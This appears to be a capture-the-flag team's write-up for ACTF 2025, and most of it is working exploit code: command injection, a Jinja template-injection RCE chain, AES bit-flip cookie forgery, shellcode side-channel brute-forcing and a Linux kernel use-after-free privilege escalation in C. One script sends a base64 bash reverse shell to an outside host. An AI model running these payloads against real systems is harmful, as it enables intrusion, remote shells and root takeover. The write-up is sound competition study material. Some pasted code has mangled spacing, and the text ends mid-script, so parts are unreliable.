ACTF 2025 Writeup by Nepnep

admin 2025年4月28日23:48:57评论1 views字数 65854阅读219分30秒阅读模式

队伍名称:Nepnep

最终排名:5th

感谢队里师傅们的辛苦付出!如果有意加入我们团队的师傅,欢迎发送个人简介至:[email protected]

ACTF 2025 Writeup by Nepnep

Web

ACTF Upload

用随意账号登录,拿到源代码

http://sensitive_ip:56000/upload?file_path=../../../../app/app.py

import uuid
import os
import hashlib
import base64
from flask import Flask, request, redirect, url_for, flash, session

app = Flask(__name__)
app.secret_key = os.getenv('SECRET_KEY')

@app.route('/')
def index():
    if session.get('username'):
        return redirect(url_for('upload'))
    else:
        return redirect(url_for('login'))

@app.route('/login', methods=['POST', 'GET'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        if username == 'admin':
            if hashlib.sha256(password.encode()).hexdigest() == '32783cef30bc23d9549623aa48aa8556346d78bd3ca604f277d63d6e573e8ce0':
                session['username'] = username
                return redirect(url_for('index'))
            else:
                flash('Invalid password')
        else:
            session['username'] = username
            return redirect(url_for('index'))
    else:
        return'''
        <h1>Login</h1>
        <h2>No need to register.</h2>
        <form action="/login" method="post">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" required>
            <br>
            <label for="password">Password:</label>
            <input type="password" id="password" name="password" required>
            <br>
            <input type="submit" value="Login">
        </form>
        '''


@app.route('/upload', methods=['POST', 'GET'])
def upload():
    ifnot session.get('username'):
        return redirect(url_for('login'))
    
    if request.method == 'POST':
        f = request.files['file']
        file_path = str(uuid.uuid4()) + '_' + f.filename
        f.save('./uploads/' + file_path)
        return redirect(f'/upload?file_path={file_path}')
    
    else:
        ifnot request.args.get('file_path'):
            return'''
            <h1>Upload Image</h1>
            
            <form action="/upload" method="post" enctype="multipart/form-data">
                <input type="file" name="file">
                <input type="submit" value="Upload">
            </form>
            '''

            
        else:
            file_path = './uploads/' + request.args.get('file_path')
            if session.get('username') != 'admin':
                with open(file_path, 'rb'as f:
                    content = f.read()
                    b64 = base64.b64encode(content)
                    returnf'<img src="data:image/png;base64,{b64.decode()}" alt="Uploaded Image">'
            else:
                os.system(f'base64 {file_path} > /tmp/{file_path}.b64')
                # with open(f'/tmp/{file_path}.b64', 'r') as f:
                #     return f'<img src="data:image/png;base64,{f.read()}" alt="Uploaded Image">'
                return'Sorry, but you are not allowed to view this image.'
                
if __name__ == '__main__':
    app.run(host='sensitive_ip', port=5000)

md5 解密密码是 backdoor,用 admin 的身份可以命令注入

http://sensitive_ip:56000/upload?file_path=somefile.txt;ls / > /tmp/pwned;

在普通用户权限读

http://sensitive_ip:56000/upload?file_path=../../../../tmp/pwned

Excellent_Site

import requests
import base64

URL = "http://sensitive_ip:52098"

cmd = "sensitive_ip/30001"
bases64_cmd = base64.b64encode(f"bash -c 'bash -i>/dev/tcp/{cmd} 0>&1 2>&1'".encode()).decode()

exp_data =  """{% for i in ''.__class__.__base__.__subclasses__() %}
{% if i.__name__ == "_wrap_close" %}
{% set a = i.__init__.__globals__['popen']('echo """
 + bases64_cmd + """|base64 -d|sh').read() %}
{% endif %}
{% endfor %}'"""


try:
    rep = requests.post(
        url=URL + "/report",
        data={
            "url":"http://ezmail.org:3000/news?id=" + f"2 union select unhex('{exp_data.encode('utf-8').hex()}') limit 1,1rnFrom: [email protected]",
            "content":"7890"
        }
    )
    print(rep.text)
    rep = requests.get(url=URL + '/bot')
    print(rep.text)
except Exception as e:
    print(e)

Not so web

源代码

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
)

app = Flask(__name__)
app.secret_key = KEY


@dataclass(kw_only=True)
class APPUser:
    name: str
    password_raw: str
    register_time: int


#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}


def validate_cookie(cookie: str) -> bool:
    ifnot cookie:
        returnFalse

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        returnFalse

    if len(cookie_encrypted) < 32:
        returnFalse

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        cookie_json = cipher.decrypt(padded)
    except ValueError:
        returnFalse

    try:
        _ = json.loads(cookie_json)
    except Exception:
        returnFalse

    returnTrue


def parse_cookie(cookie: str) -> Tuple[bool, str]:
    ifnot cookie:
        returnFalse""

    try:
        cookie_encrypted = base64.b64decode(cookie, validate=True)
    except binascii.Error:
        returnFalse""

    if len(cookie_encrypted) < 32:
        returnFalse""

    try:
        iv, padded = cookie_encrypted[:16], cookie_encrypted[16:]
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(padded)
        cookie_json_bytes = unpad(decrypted, 16)
        cookie_json = cookie_json_bytes.decode()
    except ValueError:
        returnFalse""

    try:
        cookie_dict = json.loads(cookie_json)
    except Exception:
        returnFalse""

    returnTrue, cookie_dict.get("name")


def generate_cookie(user: APPUser) -> str:
    cookie_dict = asdict(user)
    cookie_json = json.dumps(cookie_dict)
    cookie_json_bytes = cookie_json.encode()
    iv = os.urandom(16)
    padded = pad(cookie_json_bytes, 16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded)
    return base64.b64encode(iv + encrypted).decode()


@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!""danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.""success")
            return redirect(url_for("login"))
    return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.""danger")
    return render_template("login.html")


@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    ifnot valid ornot current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    ifnot user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload")
        html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">Welcome, %s !</h2>
        <div class="text-center">
            Your payload: %s
        </div>
        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""
 % (
            current_username,
            payload,
        )
    else:
        html_template = (
            """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">server code (encoded)</h2>
        <div class="text-center" style="word-break:break-all;">
        {%% raw %%}
            %s
        {%% endraw %%}
        </div>
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""

            % base64.b64encode(open(__file__, "rb").read()).decode()
        )
    return render_template_string(html_template)


@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp


if __name__ == "__main__":
    app.run()
# Exp for "Not so web 1"
import base64
import requests
import urllib.parse as urllib
url = "http://sensitive_ip:51116/"
print("[*]register zdmin")
requests.post(url + "register", data={"username""zdmin""password""KamiyaKamiya!"})
print("[+]register success!")
s = requests.Session()
print("[*]login zdmin")
res = s.post(url + "login", data={"username""zdmin""password""KamiyaKamiya!"})
print("[+]login success!")
print("[*]get cookie")
cipher_raw = s.cookies['jwbcookie']
print("[*]cookie: " + cipher_raw)
cipher = base64.b64decode(urllib.unquote(cipher_raw))
iv = cipher[:16]
Cipher = cipher[16:]
print ("[*]xor iv")
new_iv = iv[0:10] + bytes([iv[10] ^ ord('z') ^ ord('a')]) + iv[11:]
Cph = new_iv + Cipher
Cph=base64.b64encode(Cph).decode()
print ("[*]reverse cipher: " + Cph)
print("[*]get flag")
res = requests.get(url + 'home?payload={{"".__class__.__base__.__subclasses__()[137].__init__.__globals__.popen("cat flag.txt").read()}}', cookies={"jwbcookie": Cph})
print(res.text)

利用别的账号拿到加密对,打AES字节翻转攻击伪造admin拿到cookie,然后打SSTI即可

url/home?payload={{"".class.base.subclasses()[137].init.globals.popen("cat%20flag.txt").read()}}

Not so web2

源代码:

import base64, json, time
import os, sys, binascii
from dataclasses import dataclass, asdict
from typing import Dict, Tuple
from secret import KEY, ADMIN_PASSWORD
from Crypto.PublicKey import RSA
from Crypto.Signature import PKCS1_v1_5
from Crypto.Hash import SHA256
from flask import (
    Flask,
    render_template,
    render_template_string,
    request,
    redirect,
    url_for,
    flash,
    session,
    abort,
)

app = Flask(__name__)
app.secret_key = KEY

if os.path.exists("/etc/ssl/nginx/local.key"):
    private_key = RSA.importKey(open("/etc/ssl/nginx/local.key""r").read())
else:
    private_key = RSA.generate(2048)

public_key = private_key.publickey()

@dataclass
class APPUser:
    name: str
    password_raw: str
    register_time: int

#  In-memory store for user registration
users: Dict[str, APPUser] = {
    "admin": APPUser(name="admin", password_raw=ADMIN_PASSWORD, register_time=-1)
}

def validate_cookie(cookie_b64: str) -> bool:
    valid, _ = parse_cookie(cookie_b64)
    return valid

def parse_cookie(cookie_b64: str) -> Tuple[bool, str]:
    ifnot cookie_b64:
        returnFalse""

    try:
        cookie = base64.b64decode(cookie_b64, validate=True).decode()
    except binascii.Error:
        returnFalse""

    try:
        msg_str, sig_hex = cookie.split("&")
    except Exception:
        returnFalse""

    msg_dict = json.loads(msg_str)
    msg_str_bytes = msg_str.encode()
    msg_hash = SHA256.new(msg_str_bytes)
    sig = bytes.fromhex(sig_hex)
    try:
        PKCS1_v1_5.new(public_key).verify(msg_hash, sig)
        valid = True
    except (ValueError, TypeError):
        valid = False
    return valid, msg_dict.get("user_name")

def generate_cookie(user: APPUser) -> str:
    msg_dict = {"user_name": user.name, "login_time": int(time.time())}
    msg_str = json.dumps(msg_dict)
    msg_str_bytes = msg_str.encode()
    msg_hash = SHA256.new(msg_str_bytes)
    sig = PKCS1_v1_5.new(private_key).sign(msg_hash)
    sig_hex = sig.hex()
    packed = msg_str + "&" + sig_hex
    return base64.b64encode(packed.encode()).decode()

@app.route("/")
def index():
    if validate_cookie(request.cookies.get("jwbcookie")):
        return redirect(url_for("home"))
    return redirect(url_for("login"))

@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
        user_name = request.form["username"]
        password = request.form["password"]
        if user_name in users:
            flash("Username already exists!""danger")
        else:
            users[user_name] = APPUser(
                name=user_name, password_raw=password, register_time=int(time.time())
            )
            flash("Registration successful! Please login.""success")
            return redirect(url_for("login"))
    return render_template("register.html")

@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
        username = request.form["username"]
        password = request.form["password"]
        if username in users and users[username].password_raw == password:
            resp = redirect(url_for("home"))
            resp.set_cookie("jwbcookie", generate_cookie(users[username]))
            return resp
        else:
            flash("Invalid credentials. Please try again.""danger")
    return render_template("login.html")

@app.route("/home")
def home():
    valid, current_username = parse_cookie(request.cookies.get("jwbcookie"))
    ifnot valid ornot current_username:
        return redirect(url_for("logout"))

    user_profile = users.get(current_username)
    ifnot user_profile:
        return redirect(url_for("logout"))

    if current_username == "admin":
        payload = request.args.get("payload")
        if payload:
            for char in payload:
                if char in"'_#&;":
                    abort(403)
                    return

        html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">Welcome, %s !</h2>
        <div class="text-center">
            Your payload: %s
        </div>
        <img src="{{ url_for('static', filename='interesting.jpeg') }}" alt="Embedded Image">
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""
 % (
            current_username,
            payload,
        )
    else:
        html_template = (
            """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Home</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <link rel="stylesheet" href="{{ url_for('static', filename='styles.css') }}">
</head>
<body>
    <div class="container">
        <h2 class="text-center">server code (encoded)</h2>
        <div class="text-center" style="word-break:break-all;">
        {%% raw %%}
            %s
        {%% endraw %%}
        </div>
        <div class="text-center">
            <a href="/logout" class="btn btn-danger">Logout</a>
        </div>
    </div>
</body>
</html>
"""

            % base64.b64encode(open(__file__, "rb").read()).decode()
        )
    return render_template_string(html_template)

@app.route("/logout")
def logout():
    resp = redirect(url_for("login"))
    resp.delete_cookie("jwbcookie")
    return resp

if __name__ == "__main__":
    app.run()

注册一个账号拿到 session 之后 base64 解码然后直接修改 user_name 字段内容为 admin 即可越权获得 admin 权限。然后 SSTI 只是简单绕过,payload:

{{(cycler.next["%c"%95+"%c"%95+"globals"+"%c"%95+"%c"%95].os.popen("cat flag.txt")).read()}}
# generated from fenjing.

Pwn

AFL sandbox

python交互的题目,首先有一个poW(工作量证明),通过工作量证明后会进入程序主体

ACTF 2025 Writeup by Nepnep
ACTF 2025 Writeup by Nepnep
def is_valid(digest):
    zeros = "0" * 12
    bits = "".join(bin(i)[2:].zfill(8for i in digest)
    return bits[:12] == zeros

io.recvuntil(b"sha256(")
num = io.recv(8).decode()
print("num == ", type(num))
i=0
answer = ""
whileTrue:
    str_i = str(i)
    if is_valid(hashlib.sha256((num+str_i).encode()).digest()):
        answer = str_i
        break
    else:
        i+=1
print("answer = ",answer)
io.sendline(answer.encode())

随后我们输入shellcode,python会将输入的shellcode保存到本地的/tmp/shellcode.bin文件中

ACTF 2025 Writeup by Nepnep
ACTF 2025 Writeup by Nepnep

随后通过题目所给的afl-fuzz文件对harness文件做测试,随后我们去分析harness文件,发现文件存在sandbox,同时文件直接读取本地的shellcode执行,并没有和用户存在交互,所以input文件夹中随便放些数据即可

ACTF 2025 Writeup by Nepnep
ACTF 2025 Writeup by Nepnep
ACTF 2025 Writeup by Nepnep

由于在测试过程中,afl-fuzz会fork一个子进程,在子进程中exec这个harness文件,在这个过程中输入输出均被关闭或者重定向,因此无法通过标准输出或者标准错误输出来输出shellcode读取到的flag,但是主进程会获取到子进程的部分数据,因此使用侧信道攻击,逐位爆破flag

主要逻辑就是判断枚举的字符和读取的字符是否相等,若相等则会进入死循环,不相等主进程会输出signal 11

经过多轮测试,flag位于/home/ctf/flag处

exp如下:

from pwn import *
from LibcSearcher import *
from ctypes import *

context(os="linux", arch="amd64")

abc = "{}-_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
list = [ord(x) for x in abc]

strings = """
mov rax,2
mov rdi,0x67616c662f
push rdi
mov rdi,rsp
mov rsi,4
syscall

mov rdi,rax
mov rsi,0x20000
mov rdx,100
mov rax,0
syscall

mov rax,rsi
mov bl,byte ptr [rax+{}]
cmp bl,{}
je $-3
"""

#这里其实已经没有用了
flag = "ACTF{wH4t"
index = len(flag)
# print(asm(shellcraft.open('/home/ctf/flag')))
# pause()
whileTrue:
    for j in range(len(abc)):

        # io = process(["python3", "wrapper.py"])
        io = remote("sensitive_ip"59607)


        def is_valid(digest):
            zeros = "0" * 12
            bits = "".join(bin(i)[2:].zfill(8for i in digest)
            return bits[:12] == zeros


        io.recvuntil(b"sha256(")
        num = io.recv(8).decode()
        print("num == ", type(num))
        i = 0
        answer = ""
        whileTrue:
            str_i = str(i)
            if is_valid(hashlib.sha256((num + str_i).encode()).digest()):
                answer = str_i
                break
            else:
                i += 1
        print("answer = ", answer)
        io.sendline(answer.encode())

        # shell = asm(strings.format(index, list[j]))
        if index==0:
            shell=b'Hxb8x01x01x01x01x01x01x01x01PHxb8g.gm`fx01x01H1x04$Hxb8/home/ctPHx89xe71xd21xf6jx02Xx0fx05Hx89xc7Hxc7xc6x00x00x02x00Hxc7xc2dx00x00x00Hxc7xc0x00x00x00x00x0fx05Hx89xf0x8a'+(0x18).to_bytes(1,'little')+b'x80xfb'+list[j].to_bytes(1,'little')+b'txfb'
        else:
            shell=b'Hxb8x01x01x01x01x01x01x01x01PHxb8g.gm`fx01x01H1x04$Hxb8/home/ctPHx89xe71xd21xf6jx02Xx0fx05Hx89xc7Hxc7xc6x00x00x02x00Hxc7xc2dx00x00x00Hxc7xc0x00x00x00x00x0fx05Hx89xf0x8aX'+index.to_bytes(1,'little')+b'x80xfb'+list[j].to_bytes(1,'little')+b'txfb'
        # if index == 0:
        #     shell = b'Hxc7xc0x02x00x00x00Hxbf' + b'/flag' + b'x00x00x00WHx89xe7Hxc7xc6x04x00x00x00x0fx05Hx89xc7Hxc7xc6x00x00x02x00Hxc7xc2dx00x00x00Hxc7xc0x00x00x00x00x0fx05Hx89xf0x8a' + (
        #         0x18).to_bytes(1, 'little') + b'x80xfb' + list[j].to_bytes(1, 'little') + b'txfb'
        # else:
        #     shell = b'Hxc7xc0x02x00x00x00Hxbf' + b'/flag' + b'x00x00x00WHx89xe7Hxc7xc6x04x00x00x00x0fx05Hx89xc7Hxc7xc6x00x00x02x00Hxc7xc2dx00x00x00Hxc7xc0x00x00x00x00x0fx05Hx89xf0x8aX' + index.to_bytes(
        #         1, 'little') + b'x80xfb' + list[j].to_bytes(1, 'little') + b'txfb'

        io.sendline(shell.hex())
        io.sendline()

        io.recvuntil(b"Spinning up the fork server...")
        io.recvuntil(b"n")
        judge = io.recv(timeout=0.5)
        print("now is --->>>", chr(list[j]))
        print("flag --->>>", flag)
        print("judge --->>", judge)
        io.close()
        ifb'signal 11'notin judge:
            flag += chr(list[j])
            index += 1
            break
    if'}'in flag:
        break
print(flag)
ACTF 2025 Writeup by Nepnep

arandom

内核,分配的堆块的size,写的offset,甚至写的value,统统都是随机数;

ioctl上锁了,存在uaf洞,目前可以在大页分配的时候通过uaf构造uaf-page,然后用pipe的page占位uaf-page,实现泄露:

ACTF 2025 Writeup by Nepnep
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile (
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    )
;
    puts("33[34m33[1m[*] Status has been saved.33[0m");
}

void get_root_shell(){
    printf("now pid == %pn", getpid());
    system("/bin/sh");
}

//CPU绑核
void bindCore(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("33[34m33[1m[*] Process binded to core 33[0m%dn", core);
}

//利用kallsyms文件泄露内核函数地址
size_t prepare_kernel_cred = 0LL;
size_t commit_creds = 0LL;
void read_kallsyms(){
    FILE *f = fopen("/proc/kallsyms""r");
    if(!f) returnputs("33[31m33[1m[x] open file /proc/kallsyms error!33[0mn");
    size_t addr;
    char type;
    char name[0x40];
    while(fscanf(f, "%llx %c %s", &addr, &type, name)){
        if(prepare_kernel_cred && commit_creds) break;
        if(!strcmp(name, "commit_creds")) commit_creds = addr;
        if(!strcmp(name, "prepare_kernel_cred")) prepare_kernel_cred = addr;

    }
    printf("33[32m33[1m[+] prepare_kernel_cred == %p33[0mn", prepare_kernel_cred);
    printf("33[32m33[1m[+] commit_creds == %p33[0mn", commit_creds);

}

int dev_fd;

struct aaa {
    int size;
    int offset;
    int value;
};
struct aaa AAA;
void get_info(){
    ioctl(dev_fd, 4100, &AAA);
    printf("size == 0x%x, offset == 0x%x, value == 0x%xn", AAA.size, AAA.offset, AAA.value);
}
void alloc(){
    ioctl(dev_fd, 4097, &AAA);
}
void delete(){
    ioctl(dev_fd, 4098, &AAA);
}
void leak(){
    ioctl(dev_fd, 4101, &AAA);
}

char data[0x8000];

int main(){

    save_status();
    bindCore(0);

    int pipe1[0x200][2];

    dev_fd = open("/dev/arandom"2);
    printf("dev_fd == %dn", dev_fd);
    get_info();
    alloc();
    delete();

    for(int i = 0; i < 8; i++){
        memset(data+i*0x1000'a'+i, 0x1000);
        memcpy(data+i*0x1000+(AAA.offset&0xfff), &AAA.value, 4);
        memset(data+i*0x1000+(AAA.offset&0xfff)+404);
        memcpy(data+i*0x1000+(AAA.offset&0xfff)+16, &AAA.offset, 4);
        memset(data+i*0x1000+(AAA.offset&0xfff)+16+404);
        memcpy(data+i*0x1000+(AAA.offset&0xfff)+24, &AAA.size, 4);
        memset(data+i*0x1000+(AAA.offset&0xfff)+24+404);
        memset(data+i*0x1000+(AAA.offset&0xfff)+3208);
    }

    for(int i = 0; i < 0x100; i++){
        if(pipe(pipe1[i]) < 0){
            perror("create pipe");
            break;
        }
        write(pipe1[i][1], data, 0x8000);
    }
    leak();
    size_t ker_offset = -1;
    for(int i = 0; i < 0x100; i++){
        for(int j = 0; j < 8; j++){
            read(pipe1[i][0], data, 0x1000);
            size_t addr = 0LL;
            memcpy(&addr, data+(AAA.offset&0xfff)+0x208);
            if(addr){
                printf("addr == %pn", (void *)addr);
                ker_offset = addr - 0xffffffff81907850;
                break;
            }
            
        }
    }
    printf("ker_offset == %pn", (void *)ker_offset);

    puts("end");
    getchar();

}

注意:

  1. 遇到小堆块(小于0x2000)会直接失效;
  2. 大堆块(超过0x2000),反复运行几次即可泄露;

其实不用自己压缩,直接musl一把梭了。。。:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
//#include <stdlib.h>
//#include <string.h>
#include <sys/ioctl.h>
//#include <unistd.h>
//#include <sched.h>
//#include <sys/types.h>

//利用kallsyms文件泄露内核函数地址
size_t prepare_kernel_cred = 0LL;
size_t commit_creds = 0LL;

int dev_fd;

struct aaa {
    int size;
    int offset;
    int value;
};
struct aaa AAA;
void get_info(){
    ioctl(dev_fd, 4100, &AAA);
    printf("size == 0x%x, offset == 0x%x, value == 0x%xn", AAA.size, AAA.offset, AAA.value);
}
void alloc(){
    ioctl(dev_fd, 4097, &AAA);
}
void delete(){
    ioctl(dev_fd, 4098, &AAA);
}
void leak(){
    ioctl(dev_fd, 4101, &AAA);
}

void edit(){
    ioctl(dev_fd, 4099, &AAA);
}

char data[0x8000];
size_t data2[0x1000];
size_t commit_creds;
size_t init_cred;

void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = 0xffffffff812c8fd0;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)(init_cred);
}

int main(int argc, char **argv){

    int pipe1[0x400][2];

    dev_fd = open("/dev/arandom"2);
    get_info();

    #include <sys/mman.h>
    size_t *ops;

    //printf("data2 == %pn", (data2));
    int good_off[] = {0x100x380x600x880xb00xd80x1000x128};
    memset(data2, 0sizeof(data2));
    memcpy((char *)data2+(AAA.offset%0x200), &AAA.value, 4);
    size_t fake_ops = -1;
    for(int i = 0; i < 8; i++){
        //printf("data_val == %pn", data2[good_off[i]/8]);
        if(data2[good_off[i]/8]){
            size_t goal_page = data2[good_off[i]/8]&0xfffffffffffff000;
            ops = mmap(goal_page, 0x8000, PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS, -10);
            //printf("ops == %pn", ops);
            if(ops == goal_page) {
                fake_ops = data2[good_off[i]/8];
                break;
            }
            
        }
        
        
    }
    //getchar();
    memset(data, 0sizeof(data));

    
    memset(ops, 00x8000);
    

    alloc();
    delete();

    for(int i = 0; i < 8; i++){
        memset(data+i*0x1000'a'0x1000);
        memcpy(data+i*0x1000+(AAA.offset&0xfff), &AAA.value, 4);
        memset(data+i*0x1000+(AAA.offset&0xfff)+404);
        memcpy(data+i*0x1000+(AAA.offset&0xfff)+16, &AAA.offset, 4);
        memset(data+i*0x1000+(AAA.offset&0xfff)+16+404);
        memcpy(data+i*0x1000+(AAA.offset&0xfff)+24, &AAA.size, 4);
        memset(data+i*0x1000+(AAA.offset&0xfff)+24+404);
        memset(data+i*0x1000+(AAA.offset&0xfff)+3208);
    }

    for(int i = 0; i < 0x400; i++){
        if(pipe(pipe1[i]) < 0){
            perror("create pipe");
            break;
        }
        memset(data, i, 8);
        write(pipe1[i][1], data, 0x1000);
    }
    leak();

    size_t ker_offset = -1;
    int victim_pipe_idx = -1;
    for(int i = 0; i < 0x400; i++){
        for(int j = 0; j < 1; j++){
            read(pipe1[i][0], data, 0x1000-4);
            size_t addr = 0LL;
            memcpy(&addr, data+(AAA.offset&0xfff)+0x208);
            if(addr && victim_pipe_idx == -1){
                //printf("addr == %p, i == 0x%xn", (void *)addr, i);
                ker_offset = addr - 0xffffffff81907850;
                victim_pipe_idx = i;
                break;
            }
            
        }
    }
    printf("ker_offset == %pn", (void *)ker_offset);
    if(ker_offset == -1exit(0);

    //victim_pipe_idx += (AAA.offset) / 0x1000;

    //printf("victim_pipe_idx == %dn, %d %dn", victim_pipe_idx, pipe1[victim_pipe_idx][0], pipe1[victim_pipe_idx][1]);
    //getchar();
    close(pipe1[victim_pipe_idx][0]);
    close(pipe1[victim_pipe_idx][1]);

    //sleep(2);

    for(int i = 0; i < 0x200; i++){
        memset(data, i, 0x8000);
        //write(pipe1[i][1], data, 0x2000);
    }

    

    for(int i = 0; i < 0x400; i++){
        if(i == victim_pipe_idx) continue;
        if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 4 ) < 0){
            puts("set pipe size error!");
            exit(-1);
        }
    }
    for(int i = 0; i < 0x400; i++){
        if(i == victim_pipe_idx) continue;
        if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 2 ) < 0){
            puts("set pipe size error!");
            exit(-1);
        }
    }
    for(int i = 0; i < 0x400; i++){
        if(i == victim_pipe_idx) continue;
        if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 8 ) < 0){
            puts("set pipe size error!");
            exit(-1);
        }
    }
    
    
    edit();
        

    //puts("end done");
    //getchar();

    size_t hijack = getRootPrivilige;
    for(int i = 0; i <= 0x40; i += 8){
        memcpy(fake_ops+i, &hijack, 8);
    }
    commit_creds = ker_offset + 0xffffffff812c8d40;
    init_cred = ker_offset + 0xffffffff82a54120;

    for(int i = 0; i < 0x400; i++){
        close(pipe1[i][0]);
        close(pipe1[i][1]);
    }
    system("/bin/sh");

}
ACTF 2025 Writeup by Nepnep

ACTF{Y0u_h4v3_b3c0m3_4_m4573r_0f_r4nd0m_num83r5}

only_read

0day(return-to-gxh)

打libc梭哈(¦3[▓▓] 晚安

from pwn import *
import subprocess
import re
import time

context(log_level='debug', arch='amd64')
remotes=1

# 连接到远程服务器
if remotes :
    r = remote('sensitive_ip',9999)
else:
    r = process(['./ld-linux-x86-64.so.2''--library-path'"./"'./only_read'])
# 处理防爆破验证
def solve_pow():
    # 接收完整的挑战信息
    pow_info = ""
    whileTrue:
        line = r.recvline().decode().strip()
        pow_info += line + "n"
        print(f"接收到: {line}")
        if"seconds"in line or"Submit"in line:
            break
    
    print(f"完整POW挑战: {pow_info}")
    
    # 使用正则表达式提取hashcash参数
    match = re.search(r'hashcash -mb(d+) (w+)', pow_info)
    ifnot match:
        print("无法解析POW挑战")
        returnFalse
    
    bits, challenge = match.groups()
    print(f"需要生成: hashcash -mb{bits} {challenge}")
    
    # 使用subprocess调用hashcash命令
    try:
        cmd = ["hashcash"f"-mb{bits}", challenge]
        print(f"执行命令: {' '.join(cmd)}")
        
        # 设置超时时间为25秒,留5秒用于处理和发送
        process = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
        stdout, stderr = process.communicate(timeout=25)
        
        if process.returncode != 0:
            print(f"hashcash命令失败: {stderr.decode()}")
            returnFalse
        
        token = stdout.decode().strip()
        print(f"生成的token: {token}")
        
        # 发送token
        r.sendline(token.encode())
        response = r.recvline().decode().strip()
        print(f"服务器响应: {response}")
        
        return"matched"in response or"correct"in response or"Success"in response
    except subprocess.TimeoutExpired:
        print("hashcash命令超时")
        process.kill()
        returnFalse
    except Exception as e:
        print(f"处理POW时出错: {str(e)}")
        returnFalse
# 尝试解决POW
if remotes :
    first_line = r.recvline().decode().strip()
    if"proof-of-work"in first_line:
        r.unrecv(first_line.encode() + b'n')  # 将第一行放回缓冲区
        ifnot solve_pow():
            print("无法通过POW验证,退出")
            r.close()
            exit(1)
        print("成功通过POW验证!")
        r.recvuntil('~n')
        import time
        time.sleep(1)
